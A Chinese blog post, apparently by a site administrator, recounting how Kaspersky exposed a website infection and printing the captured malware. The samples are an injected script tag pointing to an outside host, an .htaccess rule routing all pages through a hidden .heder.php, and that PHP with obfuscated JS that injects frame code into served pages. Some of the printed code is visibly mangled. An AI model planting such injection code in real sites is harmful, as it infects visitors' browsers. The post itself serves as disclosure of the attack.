Rewrite规则引发的网站中木马事件

先说一下,我这可是第一手稿件,本人从美国服务器上捕获的样本文件。
今天为了找到什么原因让网站多了许多被植入恶意链接的原因,还装上了卡巴斯基杀毒软件( – -!)。咋以前可装的是ESS(ESET Smart Security),客户发了一个网址链接给我,ESS居然没有半点反映。郁闷不?你还别说,如今啊,这个卡巴还真的是很强大,在网站换了几个页面刷新,突然提示一个JS文件被检测到“木马程序 Trpkam-Clicker.HTML.IFrame.amh”。

当时,并不太在意这样的结果,以为他是误报了。–! (谁叫你经常误报咧。)

接着,从FTP把这个JS文件下载了回来,一看傻啦,令人瞠目结舌啊。确实有一情况。- -!

js文件write是半角哦

DOCUMENT.WRITE('<SCRIPT src=http://avtograd-2007.com.ua/images/izumof.php ><\/SCRIPT>');

于是,提高警惕啦,赞啊,服啊,如今的卡巴斯基NB啊,人家真查到病毒啦。

在某些特殊的文件夹,如:date,images等发现同时存在以下两个文件(.htaccess和.heder.php)。
.htaccess文件样本

RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !.heder.php
RewriteRule (.*)\.(php|html|htm|php3|phtml|shtml)	\.heder.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]

.heder.php文件样本



");/*OEcWuzvdnSifFzrbTzBGVLsl*//*kIKhEhiXzphvzl*/var dmiaXgrp="";/*kIKhEhiXzphvzl*//*OOBbwTKCJmtmNLwMzIVSpZ*/var PqSiNZf=dmiaXgrp.replace(/[\+x]/g,LgDLGtpg(".70.68.70.2e.6e.69.2f.73.72.65.73.75.2f.6f.66.6e.69.2e.73.63.69.74.79.6c.61.6e.61.2d.73.74.61.74.73.2f.2f.3a.70.74.74.68"));/*BPRQiOgwzAY_fBHF*//*VkhfuYaKSyC*/return PqSiNZf;/*cDvbbXrTUYAxVWlCtKRA*//*mNtGiUcPmHJEcBDVhzkp*/}/*lqNbuXUvhsx*//*NipwgVkhKkGaiMpIelzQzfqg*//*JzrbYbIRwneHlb*//*cDvbbXrTUYAxVWlCtKRA*/UoaYW.writeln(MnE_vpOF());/*Nipwg VkhKk GaiMpIelzQzfqg*//*mN tGiUc PmHJEcBDVhzkp*//*OOBbw TKCJmtm NLwMz IVSpZ*/
//  >';

function get_file_dir_($file) {

    global $argv;

    $dir = dirname(getcwd() . '/' . $file);

    $curDir = getcwd();

    chdir($dir);

    $dir = getcwd();

    chdir($curDir);

    return $dir;

}

function callback($data)

{

	global $frame_code;

	$data = preg_replace('/]*>/i', "", $data);	

	$data = preg_replace('/
]*>]*>/i', "", $data);

	$data = preg_replace('/]*>.*<\/script>/i', "", $data);	

	if(preg_match("/(]*>)/i", $data) > 0) {

		return preg_replace("/(]*>)/i", "$1 \n".$frame_code, $data, 1);

	}		

	else {

		return $data.$frame_code;

	}

}

if(ob_start('callback') == true) {

	$file 	= $_GET['qq'];

	chdir(get_file_dir_($file));

	include($file);

} else {

	echo $frame_code;

}

?>

Leave a Reply